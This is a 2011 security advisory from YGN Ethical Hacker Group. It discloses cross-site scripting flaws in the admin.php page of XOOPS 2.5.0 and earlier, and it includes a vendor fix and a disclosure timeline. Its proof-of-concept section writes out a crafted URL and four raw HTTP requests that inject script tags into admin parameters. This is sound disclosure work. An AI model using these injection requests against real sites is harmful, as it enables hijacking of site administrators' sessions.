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XOOPS 2.5.0 <= Cross Site Scripting Vulnerability
From: YGN Ethical Hacker Group <lists () yehg net>
Date: Fri, 18 Mar 2011 20:58:00 +0800

XOOPS 2.5.0 <= Cross Site Scripting Vulnerability



1. OVERVIEW

The XOOPS 2.5.0 and lower versions were vulnerable to Cross Site Scripting.


2. BACKGROUND

XOOPS is an acronym of eXtensible Object Oriented Portal System. It's
the #1 Content Management System (CMS) project on www.sourceforge.net
and a recipient of several awards, and constantly places as finalist
in various CMS and Open Source competitions. It incorporates many
modules such as forums, photo galleries, calendars, article management
etc.


3. VULNERABILITY DESCRIPTION

Several parameters such as module/module[], memberslist_id[],
newname[], oldname[] were not properly sanitized upon submission to
the /modules/system/admin.php url, which allows attacker to conduct
Cross Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.


4. VERSIONS AFFECTED

XOOPS 2.5.0 and lower


5. PROOF-OF-CONCEPT/EXPLOIT


Parameter: module

http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin&op=install&module=pm%3Cimg%20src=a%20onerror=alert%28String.fromCharCode%2888,83,83%29%29%3Eaawe


Parameter: module[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

op=confirm&module%5b%5d=1"><script>alert(1)</script>&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]


Parameter: memberslist_id[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=users&selgroups=2
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 94

memberslist_id%5b%5d="><script>alert(1)</script>&op=action_group&Submit=&selgroups=1&fct=mailusers&edit_group=add_group
[/REQUEST]


Parameter: newname[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System&fct=modulesadmin&newname%5b1%5d=System"><script>alert(1)</script>
[/REQUEST]


Parameter: oldname[]

[REQUEST]
POST /xoops/modules/system/admin.php HTTP/1.1
Host: attacker.in
Connection: close
Referer: http://attacker.in/xoops/modules/system/admin.php?fct=modulesadmin
Cookie: PHPSESSID=b11e32946cf66e9a6391ccbad34453af;
xoops_user=1-549115432fcb56150b18bef08004f77d;
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

op=confirm&module%5b%5d=1&submit=Submit&oldname%5b1%5d=System"><script>alert(1)</script>1bf8581e3dc&fct=modulesadmin&newname%5b1%5d=System
[/REQUEST]


6. SOLUTION

Upgrade to XOOPS 2.5.1 or higher


7. VENDOR

XOOPS Development Team
http://xoops.org


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2011-03-10: notified vendor
2011-03-16: vendor released fixed version
2011-03-18: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/[xoops_2.5.0]_cross_site_scripting
Vendor Announcement: http://xoops.org/modules/news/article.php?storyid=5851
What XSS Can Do: http://yehg.net/lab/pr0js/view.php/What%20XSS%20Can%20Do.pdf
XSS FAQs: http://www.cgisecurity.com/articles/xss-faq.shtml
XSS (wiki): http://en.wikipedia.org/wiki/Cross-site_scripting
XSS (owasp): http://www.owasp.org/index.php/Cross-site_Scripting_(XSS)
OWASP Top 10: http://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project
CWE-79: http://cwe.mitre.org/data/definitions/79.html


#yehg [2011-03-18]

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